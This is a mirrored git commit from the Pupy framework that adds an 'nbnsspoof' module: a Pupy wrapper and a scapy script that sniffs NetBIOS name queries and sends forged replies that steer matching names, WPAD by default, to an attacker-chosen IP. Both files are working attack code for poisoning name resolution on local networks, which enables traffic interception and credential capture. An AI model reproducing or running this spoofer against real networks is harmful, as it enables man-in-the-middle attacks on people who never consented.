mirror of https://github.com/n1nj4sec/pupy.git
nbnspoof module (tested on windows only)
This commit is contained in:
parent
6a21b81c81
commit
5cc8001b96
|
@ -0,0 +1,40 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
import sys
|
||||
import subprocess
|
||||
import threading
|
||||
import Queue
|
||||
import time
|
||||
from modules.lib.windows.winpcap import init_winpcap
|
||||
from pupylib import *
|
||||
|
||||
__class_name__="NbnsSpoofModule"
|
||||
|
||||
@config(cat="network", tags=["netbios", "NBNS", "spoof"])
|
||||
class NbnsSpoofModule(PupyModule):
|
||||
""" sniff for NBNS requests and spoof NBNS responses """
|
||||
|
||||
max_clients=1
|
||||
dependencies=['scapy', 'nbnsspoof']
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog='nbnsspoof.py', description=self.__doc__)
|
||||
self.arg_parser.add_argument("-i", "--iface", default=None, help="change default iface")
|
||||
self.arg_parser.add_argument("--timeout", type=int, default=300, help="stop the spoofing after N seconds (default 300)")
|
||||
self.arg_parser.add_argument("--regex", default=".*WPAD.*", help="only answer for requests matching the regex (default: .*WPAD.*)")
|
||||
self.arg_parser.add_argument("srcmac", help="source mac address to use for the responses")
|
||||
self.arg_parser.add_argument("ip", help="IP to spoof")
|
||||
|
||||
|
||||
def run(self, args):
|
||||
init_winpcap(self)
|
||||
|
||||
with redirected_stdo(self.client.conn):
|
||||
self.client.conn.modules['nbnsspoof'].start_nbnsspoof(args.ip, args.srcmac, timeout=args.timeout, verbose=True, interface=args.iface, name_regexp=args.regex)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,87 @@
|
|||
#!/usr/bin/env python
|
||||
#
|
||||
# Originaly from :
|
||||
# nbnspoof.py 03-27-2007 Robert Wesley McGrew
|
||||
# wesley@mcgrewsecurity.com
|
||||
# http://mcgrewsecurity.com
|
||||
# Keeping things simple: You may use this code however you see fit, so
|
||||
# long as you give me proper credit. Email me if you have any
|
||||
# questions.
|
||||
# rewritten by Nicolas VERDIER for pupy
|
||||
|
||||
import sys
|
||||
import re
|
||||
from scapy.all import *
|
||||
|
||||
|
||||
def pack_ip(addr):
|
||||
temp = IP(src=addr)
|
||||
return str(temp)[0x0c:0x10]
|
||||
|
||||
def unpack_ip(bin):
|
||||
temp = IP()
|
||||
temp = str(temp)[:0x0c] + bin + str(temp)[0x10:]
|
||||
temp = IP(temp)
|
||||
return temp.src
|
||||
|
||||
def config_nbns(ip, mac_addr, regexp, verbose=True, interface=None):
|
||||
def get_packet(pkt):
|
||||
|
||||
if not pkt.getlayer(NBNSQueryRequest):
|
||||
return
|
||||
|
||||
if pkt.FLAGS & 0x8000:
|
||||
query = False
|
||||
addr = unpack_ip(str(pkt.getlayer(Raw))[8:])
|
||||
else:
|
||||
query = True
|
||||
|
||||
if verbose:
|
||||
print str(pkt.NAME_TRN_ID) + ":",
|
||||
if query:
|
||||
print "Q",
|
||||
else:
|
||||
print "R",
|
||||
print "SRC:" + pkt.getlayer(IP).src + " DST:" + pkt.getlayer(IP).dst,
|
||||
if query:
|
||||
print 'NAME:"' + pkt.QUESTION_NAME + '"'
|
||||
else:
|
||||
print 'NAME:"' + pkt.QUESTION_NAME + '"',
|
||||
print 'IP:' + addr
|
||||
|
||||
if query and regexp.match(pkt.QUESTION_NAME.rstrip(),1):
|
||||
response = Ether(dst=pkt.src,src=mac_addr)
|
||||
response /= IP(dst=pkt.getlayer(IP).src,src=ip)
|
||||
response /= UDP(sport=137,dport=137)
|
||||
response /= NBNSQueryRequest(NAME_TRN_ID=pkt.getlayer(NBNSQueryRequest).NAME_TRN_ID,\
|
||||
FLAGS=0x8500,\
|
||||
QDCOUNT=0,\
|
||||
ANCOUNT=1,\
|
||||
NSCOUNT=0,\
|
||||
ARCOUNT=0,\
|
||||
QUESTION_NAME=pkt.getlayer(NBNSQueryRequest).QUESTION_NAME,\
|
||||
SUFFIX=pkt.getlayer(NBNSQueryRequest).SUFFIX,\
|
||||
NULL=0,\
|
||||
QUESTION_TYPE=pkt.getlayer(NBNSQueryRequest).QUESTION_TYPE,\
|
||||
QUESTION_CLASS=pkt.getlayer(NBNSQueryRequest).QUESTION_CLASS)
|
||||
response /= Raw()
|
||||
# Time to live: 3 days, 11 hours, 20 minutes
|
||||
response.getlayer(Raw).load += '\x00\x04\x93\xe0'
|
||||
# Data length: 6
|
||||
response.getlayer(Raw).load += '\x00\x06'
|
||||
# Flags: (B-node, unique)
|
||||
response.getlayer(Raw).load += '\x00\x00'
|
||||
# The IP we're giving them:
|
||||
response.getlayer(Raw).load += pack_ip(ip)
|
||||
sendp(response,iface=interface,verbose=0)
|
||||
if verbose:
|
||||
print 'Sent spoofed reply to #' + str(response.getlayer(NBNSQueryRequest).NAME_TRN_ID)
|
||||
return get_packet
|
||||
|
||||
|
||||
def start_nbnsspoof(ip, mac_addr, timeout=600, verbose=True, interface=None, name_regexp=".*WPAD.*"):
|
||||
regexp = re.compile(name_regexp,re.IGNORECASE)
|
||||
func=config_nbns(ip, mac_addr, regexp, verbose=verbose, interface=interface)
|
||||
sniff(iface=interface,filter="udp and port 137", store=0, prn=func, timeout=timeout)
|
||||
|
||||
|
Loading…
Reference in New Issue